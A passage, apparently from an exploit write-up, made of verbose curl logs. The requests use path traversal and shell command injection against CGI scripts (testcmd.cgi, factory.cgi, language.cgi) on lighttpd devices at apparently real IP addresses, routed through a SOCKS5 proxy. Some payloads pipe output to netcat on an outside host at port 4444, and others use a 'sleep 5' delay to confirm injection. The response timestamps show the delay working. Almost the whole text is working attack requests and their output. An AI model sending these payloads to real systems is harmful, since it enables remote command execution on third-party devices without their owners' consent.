* TCP_NODELAY set
4
* SOCKS5 communication to 84.27.12.81:82
5
* SOCKS5 connect to IPv4 84.27.12.81 (locally resolved)
6
* SOCKS5 request granted.
7
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
8
> GET /jjj/../uapi-cgi/testcmd.cgi?command=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444) HTTP/1.1
9
> Host: 84.27.12.81:82
10
> User-Agent: curl/7.64.1
11
> Accept: */*
12
>
13
< HTTP/1.1 200 OK
14
< Cache-Control: no-cache, max-age=0
15
< Pragma: no-cache
16
< Expires: Mon, 09 Aug 2021 10:00:32 GMT
17
< Content-Type: text/plain
18
< Transfer-Encoding: chunked
19
< Date: Mon, 09 Aug 2021 10:00:32 GMT
20
< Server: lighttpd/1.4.35
21
<
22
* Connection #0 to host 127.0.0.1 left intact
23
* Closing connection 0
Copied!
1
curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.27.12.81:82/jjj/../uapi-cgi/factory.cgi?preserve=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444)"
2
* Trying 127.0.0.1...
3
* TCP_NODELAY set
4
* SOCKS5 communication to 84.27.12.81:82
5
* SOCKS5 connect to IPv4 84.27.12.81 (locally resolved)
6
* SOCKS5 request granted.
7
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
8
> GET /jjj/../uapi-cgi/factory.cgi?preserve=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444) HTTP/1.1
9
> Host: 84.27.12.81:82
10
> User-Agent: curl/7.64.1
11
> Accept: */*
12
>
Copied!
1
curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/language.cgi?date=%24(sleep%205)"
2
* Trying 127.0.0.1...
3
* TCP_NODELAY set
4
* SOCKS5 communication to 84.228.50.89:82
5
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
6
* SOCKS5 request granted.
7
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
8
> GET /jjj/../uapi-cgi/language.cgi?date=%24(sleep%205) HTTP/1.1
9
> Host: 84.228.50.89:82
10
> User-Agent: curl/7.64.1
11
> Accept: */*
12
>
13
< HTTP/1.1 200 OK
14
< Cache-Control: no-cache, max-age=0
15
< Pragma: no-cache
16
< Expires: Mon, 09 Aug 2021 05:17:39 GMT
17
< Content-Type: application/x-javascript
18
< Transfer-Encoding: chunked
19
< Date: Mon, 09 Aug 2021 05:17:44 GMT
20
< Server: lighttpd/1.4.35
21
<
22
function langList() {
23
this.langArray = [];
24
}
25
26
function langArray(name, path) {
27
this.name = name;
28
this.path = path;
29
}
30
31
var List = new langList();
32
* Connection #0 to host 127.0.0.1 left intact
33
* Closing connection 0
Copied!
1
curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/simple_reclistjs.cgi?date=%24(sleep